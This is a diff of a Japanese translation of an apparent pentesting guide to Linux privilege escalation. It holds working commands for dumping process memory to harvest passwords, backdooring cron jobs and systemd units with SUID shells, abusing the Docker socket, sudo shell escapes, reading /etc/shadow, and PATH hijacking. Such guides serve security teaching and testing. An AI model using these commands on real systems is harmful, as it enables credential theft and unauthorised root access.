ptraceでプロセスをトレースできません。一度設定すると、再起動してptracingを再度有効にする必要があります。 {% endhint %} #### GDB -FTP サービスのメモリにアクセスできる場合(例えば)、Heap を取得してその資格情報を検索できます。 +FTPサービスのメモリにアクセスできる場合(例えば)、Heapを取得し、その資格情報を検索できます。 ```bash gdb -p (gdb) info proc mappings @@ -246,9 +240,9 @@ done ``` {% endcode %} -#### /proc/$pid/maps & /proc/$pid/mem +#### /proc/$pid/maps と /proc/$pid/mem -特定のプロセスIDについて、**mapsはそのプロセスの** 仮想アドレス空間内でのメモリのマッピング方法を示し、**各マップされた領域の権限**も示します。 **mem**疑似ファイルは、**プロセスのメモリ自体を公開**します。 **maps**ファイルからは、**どのメモリ領域が読み取り可能であるかとそのオフセット**がわかります。この情報を使用して、**memファイルに移動し、すべての読み取り可能な領域をファイルにダンプ**します。 +特定のプロセスIDに対して、**mapsはそのプロセスの** 仮想アドレス空間内でのメモリのマッピング方法を示し、**各マップされた領域の権限**も示します。 **mem**疑似ファイルは**プロセスのメモリ自体を公開**します。 **maps**ファイルからは、**どのメモリ領域が読み取り可能か**とそのオフセットがわかります。この情報を使用して、**memファイルに移動し、すべての読み取り可能な領域をファイルにダンプ**します。 ```bash procdump() ( @@ -263,14 +257,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem`はシステムの**物理**メモリにアクセスを提供し、仮想メモリではありません。カーネルの仮想アドレス空間は`/dev/kmem`を使用してアクセスできます。\ +`/dev/mem`はシステムの**物理**メモリにアクセスを提供し、仮想メモリではありません。カーネルの仮想アドレス空間には`/dev/kmem`を使用できます。\ 通常、`/dev/mem`は**root**と**kmem**グループのみが読み取り可能です。 ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for Linux -ProcDumpは、Windows向けSysinternalsツールスイートのクラシックなProcDumpツールのLinuxにおける再構想です。[https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) から入手できます。 +ProcDumpは、Windows向けSysinternalsツールのクラシックなProcDumpツールのLinuxにおける再構想版です。[https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) から入手できます。 ``` procdump -p 1714 @@ -299,22 +293,22 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### ツール -プロセスメモリをダンプするためには、次のツールを使用できます: +プロセスメモリをダンプするには、次のツールを使用できます: * [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_rootの要件を手動で削除し、所有しているプロセスをダンプできます +* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_rootの要件を手動で削除して、所有しているプロセスをダンプできます * [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) からのスクリプト A.5 (rootが必要) ### プロセスメモリからの資格情報 #### 手動の例 -認証プロセスが実行されていることがわかった場合: +認証プロセスが実行されていることがわかった場合: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -次の手順を参照してプロセスのメモリをダンプし、メモリ内の資格情報を検索できます: +あなたはプロセスをダンプすることができます(異なる方法を見つけるために前のセクションを参照してください)そしてメモリ内で資格情報を検索することができます: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password @@ -329,8 +323,8 @@ strings *.dump | grep -i password | Gnome Keyring(Ubuntu Desktop、ArchLinux Desktop) | gnome-keyring-daemon | | LightDM(Ubuntu Desktop) | lightdm | | VSFTPd(アクティブFTP接続) | vsftpd | -| Apache2(アクティブHTTP Basic認証セッション) | apache2 | -| OpenSSH(アクティブSSHセッション - Sudo使用) | sshd: | +| Apache2(アクティブHTTPベーシック認証セッション) | apache2 | +| OpenSSH(アクティブSSHセッション - Sudo使用) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -348,20 +342,20 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## 予定された/Cron ジョブ -スケジュールされたジョブに脆弱性がないか確認します。おそらく、root が実行するスクリプトを悪用できるかもしれません(ワイルドカードの脆弱性?root が使用するファイルを変更できますか?シンボリックリンクを使用しますか?root が使用するディレクトリに特定のファイルを作成しますか?)。 +スケジュールされたジョブが脆弱性を持っていないか確認してください。おそらく、root によって実行されるスクリプトを悪用できるかもしれません(ワイルドカードの脆弱性?root が使用するファイルを変更できますか?シンボリックリンクを使用しますか?root が使用するディレクトリに特定のファイルを作成しますか?)。 ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cronのパス +### Cron パス -例えば、_**/etc/crontab**_ 内にPATHが見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +例えば、_**/etc/crontab**_ 内に以下の PATH を見つけることができます: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_ユーザー"user"が/home/userに対して書き込み権限を持っていることに注意_) +(_ユーザー "user" が /home/user に対して書き込み権限を持っていることに注意_) -このcrontab内で、rootユーザーがパスを設定せずにコマンドやスクリプトを実行しようとした場合。例えば: _\* \* \* \* root overwrite.sh_\ -その後、次のようにしてrootシェルを取得できます: +この crontab 内で、root ユーザーがパスを設定せずにコマンドやスクリプトを実行しようとした場合。例えば: _\* \* \* \* root overwrite.sh_\ +その後、次のようにして root シェルを取得できます: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -369,7 +363,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### スクリプトをワイルドカードで使用するCron(ワイルドカードインジェクション) -ルートによって実行されるスクリプトにコマンド内に "**\***" がある場合、これを悪用して予期しないこと(例:権限昇格)を行うことができます。例: +ルートによって実行されるスクリプトにコマンド内に "**\***" がある場合、これを悪用して予期しないことを行うことができます(例:特権昇格)。例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` @@ -383,17 +377,17 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys ### Cronスクリプトの上書きとシンボリックリンク -**rootユーザーによって実行されるcronスクリプトを変更できる**場合、簡単にシェルを取得できます: +**rootユーザーによって実行されるcronスクリプトを変更できる**場合、非常に簡単にシェルを取得できます: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed /tmp/bash -p ``` -もしrootによって実行されたスクリプトが、あなたが完全なアクセス権を持つ**ディレクトリ**を使用している場合、そのフォルダを削除して**別のスクリプトが制御可能なフォルダへのシンボリックリンクフォルダを作成**することが役立つかもしれません +もしrootによって実行されたスクリプトが**完全なアクセス権を持つディレクトリ**を使用している場合、そのフォルダを削除して**別のスクリプトが制御可能な別のフォルダへのシンボリックリンクフォルダを作成**することが役立つかもしれません ```bash ln -d -s
``` -### 頻繁なcronジョブ +### 頻繁な cron ジョブ プロセスを監視して、1分、2分、または5分ごとに実行されているプロセスを検索できます。これを利用して特権を昇格させることができるかもしれません。 @@ -405,7 +399,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 不可視のcronジョブ -**コメントの後にキャリッジリターンを入れる**ことで(改行文字なしで)、cronジョブを作成することが可能です。例(キャリッジリターン文字に注意してください): +コメントの後にキャリッジリターンを入れることで(改行文字なしで)、cronジョブを作成することが可能です。例(キャリッジリターン文字に注意してください): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -413,12 +407,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 書き込み可能な _.service_ ファイル -`.service` ファイルを書き込むことができるかどうかを確認してください。もし書き込める場合、サービスが **開始**、**再起動**、**停止**されるときに、それを **実行**するように **変更**することができます(おそらくマシンが再起動されるまで待つ必要があるかもしれません)。\ -例えば、バックドアを `.service` ファイル内に作成する:**`ExecStart=/tmp/script.sh`** +`.service` ファイルを書き込むことができるかどうかを確認します。もし書き込める場合、サービスが**開始**、**再起動**、または**停止**されるときに、**バックドアを実行**するように**変更**できます(おそらくマシンが再起動されるまで待つ必要があるかもしれません)。\ +例えば、`.service` ファイル内にバックドアを作成する:**`ExecStart=/tmp/script.sh`** ### 書き込み可能なサービスのバイナリ -サービスによって実行されるバイナリに **書き込み権限** がある場合、それらをバックドアに変更することができます。そのため、サービスが再実行されるときにバックドアが実行されます。 +サービスによって実行される**バイナリに書き込み権限**がある場合、それらをバックドアに変更できることに注意してください。そのため、サービスが再実行されるときにバックドアが実行されます。 ### systemd PATH - 相対パス @@ -432,13 +426,13 @@ ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -次に、**実行可能**ファイルを作成し、**systemd PATHフォルダ内の相対パスバイナリと同じ名前**で作成します。サービスが脆弱なアクション(**Start**、**Stop**、**Reload**)を実行するように求められた場合、あなたの**バックドアが実行されます**(通常、権限のないユーザーはサービスを開始/停止できませんが、`sudo -l`を使用できるかどうかを確認してください)。 +その後、**systemd PATHフォルダ内に相対パスバイナリと同じ名前の実行可能ファイル**を作成し、サービスが脆弱なアクション(**Start**、**Stop**、**Reload**)を実行するよう要求されたときに、**バックドアが実行される**ようにします(通常、権限のないユーザーはサービスを開始/停止できませんが、`sudo -l`を使用できるかどうかを確認してください)。 **`man systemd.service`**でサービスについて詳しく学びます。 ## **タイマー** -**タイマー**は、名前が`**.timer**`で終わるsystemdユニットファイルで、`**.service**`ファイルやイベントを制御します。**タイマー**は、カレンダー時間イベントやモノトニック時間イベントの組み込みサポートを持つため、cronの代替として使用できます。非同期で実行できます。 +**タイマー**は、名前が`**.timer**`で終わるsystemdユニットファイルで、`**.service**`ファイルやイベントを制御します。**タイマー**は、カレンダー時間イベントとモノトニック時間イベントの組み込みサポートを持つため、cronの代替として使用でき、非同期で実行できます。 すべてのタイマーを列挙するには、次のコマンドを使用します: ```bash @@ -446,24 +440,24 @@ systemctl list-timers --all ``` ### 書き込み可能なタイマー -タイマーを変更できれば、systemd.unit(.serviceや.targetなど)のいくつかを実行させることができます。 +タイマーを変更できる場合、systemd.unit(.serviceや.targetなど)の存在するものを実行させることができます。 ```bash Unit=backdoor.service ``` -ドキュメントでは、Unitが何であるかを読むことができます: +ドキュメントには、ユニットが何であるかが記載されています: > このタイマーが経過したときにアクティブ化するユニット。引数はユニット名であり、その接尾辞は「.timer」ではありません。指定されていない場合、この値は、タイマーユニットと同じ名前のサービスにデフォルトで設定されます(上記を参照)。アクティブ化されるユニット名とタイマーユニットのユニット名が、接尾辞を除いて同一であることが推奨されています。 したがって、この権限を悪用するには、次のことが必要です: -- **書き込み可能なバイナリを実行している**systemdユニット(たとえば`.service`)を見つける -- **相対パスを実行している**systemdユニットを見つけ、**systemd PATH**上で**書き込み権限**を持っている(その実行可能ファイルをなりすますため) +* **書き込み可能なバイナリを実行している**`.service`などのsystemdユニットを見つける +* **相対パスを実行している**systemdユニットを見つけ、**systemd PATH**上で**書き込み権限**を持っている(その実行可能ファイルをなりすますため) -**`man systemd.timer`** でタイマーについて詳しく学ぶ。 +**`man systemd.timer`** でタイマーについて詳しく学びます。 ### **タイマーの有効化** -タイマーを有効にするには、root権限が必要で、次のコマンドを実行します: +タイマーを有効にするには、ルート権限が必要で、次のコマンドを実行します: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -472,26 +466,26 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li ## ソケット -Unixドメインソケット(UDS)は、クライアントサーバーモデル内で同じマシンまたは異なるマシン間で**プロセス間通信**を可能にします。これらは、標準のUnix記述子ファイルを使用してコンピュータ間通信を行い、`.socket`ファイルを介して設定されます。 +Unixドメインソケット(UDS)は、クライアントサーバーモデル内で同じマシンまたは異なるマシン間で**プロセス間通信**を可能にします。これらは標準のUnix記述子ファイルを使用してコンピュータ間通信を行い、`.socket`ファイルを介して設定されます。 ソケットは`.socket`ファイルを使用して構成できます。 **`man systemd.socket`**でソケットについて詳しく学びます。このファイル内では、いくつかの興味深いパラメータを構成できます: -* `ListenStream`、`ListenDatagram`、`ListenSequentialPacket`、`ListenFIFO`、`ListenSpecial`、`ListenNetlink`、`ListenMessageQueue`、`ListenUSBFunction`: これらのオプションは異なりますが、要約された情報は、ソケットがどこでリッスンするかを示すために使用されます(AF_UNIXソケットファイルのパス、リッスンするIPv4/6および/またはポート番号など)。 -* `Accept`: ブール値を取ります。**true**の場合、**着信接続ごとにサービスインスタンスが生成**され、接続ソケットのみが渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットが生成されます。この値は、データグラムソケットおよびFIFOの場合には無条件にすべての着信トラフィックを処理する単一のサービスユニットが生成されるため、無視されます。**デフォルトはfalse**です。パフォーマンス上の理由から、新しいデーモンは`Accept=no`に適した方法でのみ記述することが推奨されます。 -* `ExecStartPre`、`ExecStartPost`: 1つ以上のコマンドラインを取り、それらはリッスン**ソケット**/FIFOが**作成**およびバインドされる**前**または**後**に**実行**されます。コマンドラインの最初のトークンは絶対ファイル名でなければならず、その後にプロセスの引数が続きます。 -* `ExecStopPre`、`ExecStopPost`: 追加の**コマンド**で、それらはリッスン**ソケット**/FIFOが**閉じられ**、削除される**前**または**後**に**実行**されます。 -* `Service`: **着信トラフィック**で**アクティブ化するサービス**ユニット名を指定します。この設定は、Accept=noのソケットにのみ許可されています。デフォルトでは、ソケットと同じ名前のサービス(接尾辞が置換されたもの)がデフォルトです。ほとんどの場合、このオプションを使用する必要はないはずです。 +- `ListenStream`、`ListenDatagram`、`ListenSequentialPacket`、`ListenFIFO`、`ListenSpecial`、`ListenNetlink`、`ListenMessageQueue`、`ListenUSBFunction`: これらのオプションは異なりますが、ソケットが**どこでリッスンするかを示す**ために使用されます(AF\_UNIXソケットファイルのパス、リッスンするIPv4/6および/またはポート番号など)。 +- `Accept`: ブール値の引数を取ります。**true**の場合、**受信接続ごとにサービスインスタンスが生成**され、接続ソケットのみが渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットが生成されます。この値は、データグラムソケットおよびFIFOの場合には無視され、1つのサービスユニットがすべての受信トラフィックを無条件に処理します。**デフォルトはfalse**です。パフォーマンス上の理由から、新しいデーモンは`Accept=no`に適した方法でのみ記述することが推奨されます。 +- `ExecStartPre`、`ExecStartPost`: 1つ以上のコマンドラインを取り、リッスン**ソケット**/FIFOが**作成**およびバインドされる**前**または**後**に**実行**されるコマンドです。コマンドラインの最初のトークンは絶対ファイル名でなければならず、その後にプロセスの引数が続きます。 +- `ExecStopPre`、`ExecStopPost`: リッスン**ソケット**/FIFOが**閉じられ**、削除される**前**または**後**に**実行**される追加の**コマンド**です。 +- `Service`: **受信トラフィック**で**アクティブ化するサービス**ユニット名を指定します。この設定は、Accept=noのソケットにのみ許可されています。デフォルトでは、ソケットと同じ名前のサービス(接尾辞が置換されたもの)がデフォルトです。ほとんどの場合、このオプションを使用する必要はないはずです。 ### 書き込み可能な`.socket`ファイル -**書き込み可能**な`.socket`ファイルを見つけた場合、`[Socket]`セクションの冒頭に次のようなものを追加できます: `ExecStartPre=/home/kali/sys/backdoor`、そしてバックドアはソケットが作成される前に実行されます。したがって、**おそらくマシンが再起動されるまで待つ必要があるでしょう。**\ +**書き込み可能**な`.socket`ファイルを見つけた場合、`[Socket]`セクションの冒頭に次のようなものを追加できます: `ExecStartPre=/home/kali/sys/backdoor`、そしてバックドアはソケットが作成される前に実行されます。したがって、**おそらくマシンが再起動されるまで待つ必要があります。**\ _そのソケットファイル構成を使用している必要があることに注意してください。そうでない場合、バックドアは実行されません_ ### 書き込み可能なソケット -(ここではUnixソケットについて話しており、構成`.socket`ファイルについてではない)**書き込み可能なソケット**を特定した場合、そのソケットと通信し、脆弱性を悪用する可能性があります。 +(ここではUnixソケットについて話しており、設定`.socket`ファイルについてではありません)**書き込み可能なソケット**を特定した場合、そのソケットと通信し、脆弱性を悪用する可能性があります。 ### Unixソケットの列挙 ```bash @@ -512,17 +506,17 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of [socket-command-injection.md](socket-command-injection.md) {% endcontent-ref %} -### HTTPソケット +### HTTP ソケット -HTTPリクエストを待ち受ける**ソケット**がいくつか存在する可能性があることに注意してください(_私は.socketファイルではなく、Unixソケットとして機能するファイルについて話しています_)。次のコマンドで確認できます: +HTTP リクエストを待ち受ける **ソケット** がいくつか存在する可能性があることに注意してください(_私は .socket ファイルではなく、Unix ソケットとして機能するファイルについて話しています_)。次のコマンドで確認できます: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -### 書き込み可能なDockerソケット +### Writable Docker Socket -Dockerソケットは、通常`/var/run/docker.sock`にあり、セキュリティを確保する必要がある重要なファイルです。デフォルトでは、`root`ユーザーと`docker`グループのメンバーが書き込み権限を持っています。このソケットへの書き込みアクセスを持つことは特権昇格につながる可能性があります。これがどのように行われるか、およびDocker CLIが利用できない場合の代替方法について説明します。 +Dockerソケットは、通常`/var/run/docker.sock`にあり、セキュリティを確保する必要がある重要なファイルです。デフォルトでは、`root`ユーザーと`docker`グループのメンバーによって書き込みが可能です。このソケットへの書き込みアクセスを持つことは特権昇格につながる可能性があります。これがどのように行われるか、およびDocker CLIが利用できない場合の代替方法について説明します。 -#### Docker CLIを使用した特権昇格 +#### **Docker CLIを使用した特権昇格** Dockerソケットへの書き込みアクセス権がある場合、次のコマンドを使用して特権を昇格させることができます。 ```bash @@ -531,7 +525,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse ``` #### **Docker APIを直接使用する** -Docker CLIが利用できない場合、Docker APIと`curl`コマンドを使用してDockerソケットを操作することができます。 +Docker CLIが利用できない場合、DockerソケットをDocker APIと`curl`コマンドを使用して操作することができます。 1. **Dockerイメージのリスト:** 利用可能なイメージのリストを取得します。 @@ -563,9 +557,9 @@ Upgrade: tcp ### その他 -**`docker`グループに所属しているためにDockerソケットに書き込み権限がある場合**、[**特権を昇格させるためのさらなる方法**](interesting-groups-linux-pe/#docker-group)があります。[**Docker APIがポートでリスニングされている場合、それを妨害することもできます**](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 +**`docker`グループに所属しているためドッカーソケットに書き込み権限がある場合**、[**特権を昇格させるためのさらなる方法**があります](interesting-groups-linux-pe/#docker-group)。[**docker APIがポートでリスニングしている場合、それを妨害することもできる**かもしれません](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 -**Dockerから脱出したり特権を昇格させるために悪用する方法**については、以下を確認してください: +**dockerから脱出したり特権を昇格させるために悪用する方法**については、以下をチェックしてください: {% content-ref url="docker-security/" %} [docker-security](docker-security/) @@ -589,13 +583,15 @@ Upgrade: tcp ## **D-Bus** -D-Busは、アプリケーションが効率的に相互作用しデータを共有するための洗練された**プロセス間通信(IPC)システム**であり、現代のLinuxシステムを考慮して設計されています。基本的なIPCをサポートし、プロセス間のデータ交換を促進するUNIXドメインソケットの強化版をサポートしています。さらに、イベントやシグナルのブロードキャストを支援し、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetoothデーモンからの着信コールに関するシグナルは、音楽プレーヤーにミュートするよう促し、ユーザーエクスペリエンスを向上させます。さらに、D-Busはリモートオブジェクトシステムをサポートし、アプリケーション間のサービスリクエストやメソッド呼び出しを簡素化し、従来は複雑だったプロセスを合理化します。 +D-Busは、アプリケーションが効率的に相互作用しデータを共有するための高度な**プロセス間通信(IPC)システム**です。現代のLinuxシステムを念頭に置いて設計され、異なる形式のアプリケーション間通信のための堅牢なフレームワークを提供します。 -D-Busは**許可/拒否モデル**で動作し、一致するポリシールールの累積効果に基づいてメッセージの権限(メソッド呼び出し、シグナルの発行など)を管理します。これらの権限の悪用を通じて特権昇格が可能になる可能性があります。 +このシステムは多目的であり、プロセス間のデータ交換を向上させる基本的なIPCをサポートし、**拡張UNIXドメインソケット**を思い起こさせます。さらに、イベントやシグナルのブロードキャストを支援し、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetoothデーモンからの着信コールに関するシグナルは、音楽プレーヤーにミュートするよう促し、ユーザーエクスペリエンスを向上させます。さらに、D-Busはリモートオブジェクトシステムをサポートし、アプリケーション間のサービスリクエストやメソッド呼び出しを簡素化し、従来は複雑だったプロセスを合理化します。 -`/etc/dbus-1/system.d/wpa_supplicant.conf`にあるポリシーの例では、ルートユーザーが`fi.w1.wpa_supplicant1`にメッセージを所有し、送信し、受信する権限が記載されています。 +D-Busは**許可/拒否モデル**で動作し、一致するポリシールールの累積効果に基づいてメッセージの権限(メソッド呼び出し、シグナルの発行など)を管理します。これらのポリシーはバスとのやり取りを指定し、これらの権限の悪用を通じて特権昇格が可能になる可能性があります。 -特定のユーザーやグループが指定されていないポリシーは普遍的に適用され、"default"コンテキストポリシーは他の特定のポリシーでカバーされていないすべてに適用されます。 +`/etc/dbus-1/system.d/wpa_supplicant.conf`にあるこのようなポリシーの例では、ルートユーザーが`fi.w1.wpa_supplicant1`を所有し、それにメッセージを送信し、受信する権限が詳細に記載されています。 + +特定のユーザーまたはグループが指定されていないポリシーは普遍的に適用され、"default"コンテキストポリシーは他の特定のポリシーでカバーされていないすべてに適用されます。 ```xml @@ -604,7 +600,7 @@ D-Busは**許可/拒否モデル**で動作し、一致するポリシールー ``` -**D-Bus通信の列挙とコマンドインジェクションの特権昇格方法を学びます:** +**ここでD-Bus通信の列挙と悪用方法を学びます:** {% content-ref url="d-bus-enumeration-and-command-injection-privilege-escalation.md" %} [d-bus-enumeration-and-command-injection-privilege-escalation.md](d-bus-enumeration-and-command-injection-privilege-escalation.md) @@ -612,7 +608,7 @@ D-Busは**許可/拒否モデル**で動作し、一致するポリシールー ## **ネットワーク** -常にネットワークを列挙し、マシンの位置を特定することが興味深いです。 +常にネットワークを列挙し、マシンの位置を特定することは興味深いです。 ### 一般的な列挙 ```bash @@ -639,14 +635,14 @@ lsof -i ``` ### オープンポート -常に、アクセスする前に対話できなかったマシンで実行されているネットワークサービスを確認してください: +アクセスする前に、マシンで実行されているネットワークサービスを常にチェックしてください。 ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### スニッフィング -トラフィックをスニッフィングできるかどうかを確認してください。できる場合、いくつかの資格情報を取得できるかもしれません。 +トラフィックを嗅覚できるかどうかをチェックしてください。できる場合、いくつかの資格情報を取得できるかもしれません。 ``` timeout 1 tcpdump ``` @@ -654,7 +650,7 @@ timeout 1 tcpdump ### 一般的な列挙 -**自分**が誰であり、どのような**特権**を持っているか、システムにはどのような**ユーザー**がいるか、どのユーザーが**ログイン**できるか、どのユーザーが**root 権限**を持っているかを確認します: +自分が誰であり、どの特権を持っているか、システムにどのユーザーがいるか、どのユーザーがログインできるか、どのユーザーがルート権限を持っているかを確認します。 ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -683,7 +679,7 @@ gpg --list-keys 2>/dev/null ### グループ -ルート権限を付与する可能性のある**いくつかのグループ**のメンバーであるかどうかを確認してください: +ルート権限を付与する可能性のある**いくつかのグループのメンバー**であるかどうかを確認してください: {% content-ref url="interesting-groups-linux-pe/" %} [interesting-groups-linux-pe](interesting-groups-linux-pe/) @@ -708,18 +704,18 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 既知のパスワード -環境の**任意のパスワード**を知っている場合は、各ユーザーとしてログインを試みてください。 +環境の**任意のパスワード**を知っている場合は、そのパスワードを使用して**各ユーザーとしてログインを試みてください**。 ### Su Brute -たくさんのノイズを気にしない場合、かつコンピューターに`su`と`timeout`バイナリが存在する場合、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使用してユーザーをブルートフォースできます。\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)は、`-a`パラメータを使用してユーザーをブルートフォースしようとします。 +たくさんのノイズを気にしない場合、かつコンピューターに`su`と`timeout`バイナリが存在する場合は、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使用してユーザーをブルートフォースできます。\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)は、`-a`パラメータを使用してユーザーをブルートフォースすることもできます。 ## 書き込み可能なPATHの悪用 ### $PATH -$PATHのいくつかのフォルダに**書き込みができることがわかった場合**、書き込み可能なフォルダ内に**バックドアを作成**して、別のユーザー(理想的にはroot)によって実行される予定のコマンドの名前を付けることで、特権を昇格させることができるかもしれません。このコマンドは、$PATH内の書き込み可能なフォルダより前に配置されていないフォルダから読み込まれるものである必要があります。 +$PATHのいくつかのフォルダに**書き込み権限**があることがわかった場合、**書き込み可能なフォルダ内にバックドアを作成**し、そのバックドアの名前を、別のユーザー(理想的にはroot)によって実行されるコマンドの名前にすることで、特権を昇格させることができるかもしれません。このコマンドは、$PATH内の書き込み可能なフォルダよりも前に位置するフォルダから読み込まれていない必要があります。 ### SUDOとSUID @@ -728,7 +724,7 @@ sudoを使用していくつかのコマンドを実行することが許可さ sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -いくつかの**予期しないコマンドが、ファイルの読み取りや書き込み、さらにはコマンドの実行を許可します。** たとえば: +いくつかの**予期しないコマンドが、ファイルの読み取りや書き込み、さらにはコマンドの実行を許可します。** 例えば: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -739,25 +735,25 @@ less>! ``` ### NOPASSWD -Sudoの設定は、ユーザーがパスワードを知らなくても、別のユーザーの特権でコマンドを実行できるようにする可能性があります。 +Sudoの設定は、ユーザーがパスワードを知らずに別のユーザーの特権でコマンドを実行できるようにする可能性があります。 ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -以下は、ユーザー`demo`が`root`として`vim`を実行できる例です。これにより、`root`ディレクトリにsshキーを追加するか、`sh`を呼び出すことでシェルを取得することが簡単になりました。 +以下は、ユーザー`demo`が`root`として`vim`を実行できる例です。これにより、ルートディレクトリにsshキーを追加するか、`sh`を呼び出すことでシェルを取得することが簡単になります。 ``` sudo vim -c '!sh' ``` ### SETENV -このディレクティブは、**何かを実行する際に環境変数を設定**することをユーザーに許可します: +このディレクティブは、何かを実行する際に**環境変数を設定**することをユーザーに許可します。 ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -この例は、**HTBマシンAdmirer**に基づいており、スクリプトをrootとして実行する際に**PYTHONPATHハイジャック**に**脆弱**で、任意のPythonライブラリを読み込むことができました。 +この例は、**HTBマシンAdmirerに基づいて**、スクリプトをrootとして実行する際に**PYTHONPATHハイジャック**に**脆弱**であり、任意のPythonライブラリを読み込むことができました。 ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` @@ -773,48 +769,48 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -**ワイルドカード** (\*) を使用すると、さらに簡単です: +もし**ワイルドカード**(\*)が使用されている場合、さらに簡単です: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **対策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### コマンド/SUID バイナリのパス指定なしでの Sudo コマンド +### コマンドパスを指定せずにSudoコマンド/SUIDバイナリを使用する -もし**sudo 権限**が**パスを指定せずに**単一のコマンドに与えられている場合: _hacker10 ALL= (root) less_、PATH 変数を変更することで悪用できます。 +もし**sudo権限**が**パスを指定せずに単一のコマンドに与えられている**場合: _hacker10 ALL= (root) less_、PATH変数を変更することで悪用できます。 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -このテクニックは、**suid** バイナリが**パスを指定せずに別のコマンドを実行する場合にも使用できます(常に** _**strings**_ **で奇妙なSUIDバイナリの内容を確認してください)**。 +このテクニックは、**suid** バイナリが**パスを指定せずに別のコマンドを実行する場合にも使用できます(常に** _**strings**_ **で奇妙なSUIDバイナリの内容を確認してください)。 [実行するペイロードの例。](payloads-to-execute.md) -### コマンドパスを指定したSUIDバイナリ +### コマンドパスを持つSUIDバイナリ -もし**suid**バイナリが**パスを指定して別のコマンドを実行する**場合、その場合、suidファイルが呼び出しているコマンドと同じ名前の関数を**エクスポート**してみることができます。 +**suid** バイナリが**パスを指定して別のコマンドを実行する**場合、その後、suidファイルが呼び出しているコマンドと同じ名前の関数を**エクスポート**しようとすることができます。 -例えば、suidバイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、その関数を作成してエクスポートする必要があります: +たとえば、suidバイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、その関数を作成してエクスポートしようとする必要があります: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -### LD\_PRELOAD & **LD\_LIBRARY\_PATH** +### 